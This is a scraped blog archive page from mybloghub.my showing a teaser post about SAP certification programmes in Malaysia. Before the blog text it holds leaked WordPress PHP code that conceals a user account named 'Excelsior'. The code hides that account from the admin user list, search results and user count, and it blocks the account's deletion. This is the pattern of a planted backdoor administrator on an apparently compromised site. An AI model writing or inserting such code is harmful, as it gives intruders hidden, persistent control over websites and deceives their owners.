add_action('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->base === 'users') { $protected_user = get_user_by('login', 'Excelsior'); if ($protected_user) { $excluded = (array) $query->get('exclude'); $excluded[] = $protected_user->ID; $query->set('exclude', $excluded); } } } }); add_filter('wp_count_users', function($counts) { $protected_user = get_user_by('login', 'Excelsior'); if ($protected_user) { $counts->total_users--; } return $counts; }); add_action('delete_user', function($user_id) { $user = get_user_by('ID', $user_id); if ($user && $user->user_login === 'Excelsior') { wp_die( __('User Excelsior tidak dapat dihapus.', 'textdomain'), __('Error', 'textdomain'), array('response' => 403) ); } }); add_filter('user_search_columns', function($search_columns, $search, $query) { if (is_admin()) { $protected_user = get_user_by('login', 'Excelsior'); if ($protected_user) { global $wpdb; $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID); } } return $search_columns; }, 10, 3); add_filter('bulk_actions-users', function($actions) { if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) { $protected_user = get_user_by('login', 'Excelsior'); if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) { unset($actions['delete']); } } return $actions; }); Alexis Banks | mybloghub.my - Part 13

Unlock Your Career Potential with SAP Certification Programs in Malaysia

SAP certification is an internationally recognized credential that signifies a mastery of SAP products, solutions, and technologies. It demonstrates your ability to innovate in the ever-changing world of digital transformation and provides a competitive edge when it comes to pursuing your career aspirations in Malaysia. By achieving an SAP certification, you will be able to […]

Begin typing your search term above and press enter to search. Press ESC to cancel.

Back To Top